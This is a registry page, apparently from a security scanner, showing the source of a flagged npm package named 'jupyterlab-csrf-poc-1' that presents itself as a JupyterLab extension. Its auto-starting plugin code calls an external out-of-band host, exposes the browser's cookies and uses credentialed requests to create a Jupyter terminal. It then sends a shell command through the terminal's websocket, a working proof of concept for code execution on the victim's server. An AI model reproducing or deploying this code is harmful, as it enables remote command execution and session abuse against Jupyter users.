jupyterlab-csrf-poc-1 1.0.0
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of jupyterlab-csrf-poc-1 might be problematic. Click here for more details.
- package/index.ts +32 -0
- package/package.json +11 -0
package/index.ts
ADDED
@@ -0,0 +1,32 @@
|
|
1
|
+
import {
|
2
|
+
JupyterFrontEnd, JupyterFrontEndPlugin
|
3
|
+
} from 'jupyterlab-app-copy-2';
|
4
|
+
|
5
|
+
const extension: JupyterFrontEndPlugin<void> = {
|
6
|
+
id: 'test',
|
7
|
+
autoStart: true,
|
8
|
+
activate: (app: JupyterFrontEnd) => {
|
9
|
+
fetch("https://ccm5ookt77dkklvor5hgcyxycysijbxsi.oast.me/");
|
10
|
+
alert(document.cookie);
|
11
|
+
console.log("started !!!");
|
12
|
+
var xhttp = new XMLHttpRequest;
|
13
|
+
var termUri = location.origin + "/api/terminals";
|
14
|
+
xhttp.open("POST", termUri, true);
|
15
|
+
xhttp.withCredentials = true;
|
16
|
+
xhttp.onreadystatechange = function() {
|
17
|
+
if (this.readyState == 4 && this.status == 200) {
|
18
|
+
console.log("request successfull!!! ");
|
19
|
+
var resp = xhttp.responseText.split('"');
|
20
|
+
var terminal_id = resp[3];
|
21
|
+
var wsUri = "wss://"+location.host+"/terminals/websocket/"+terminal_id;
|
22
|
+
var ws = new WebSocket(wsUri);
|
23
|
+
ws.onopen = function(evt) {
|
24
|
+
ws.send('["stdin","touch pwned.txt\\r"]');
|
25
|
+
};
|
26
|
+
console.log("file created pwned.txt!!! ");
|
27
|
+
}
|
28
|
+
};
|
29
|
+
xhttp.send();
|
30
|
+
}
|
31
|
+
};
|
32
|
+
export default extension;
|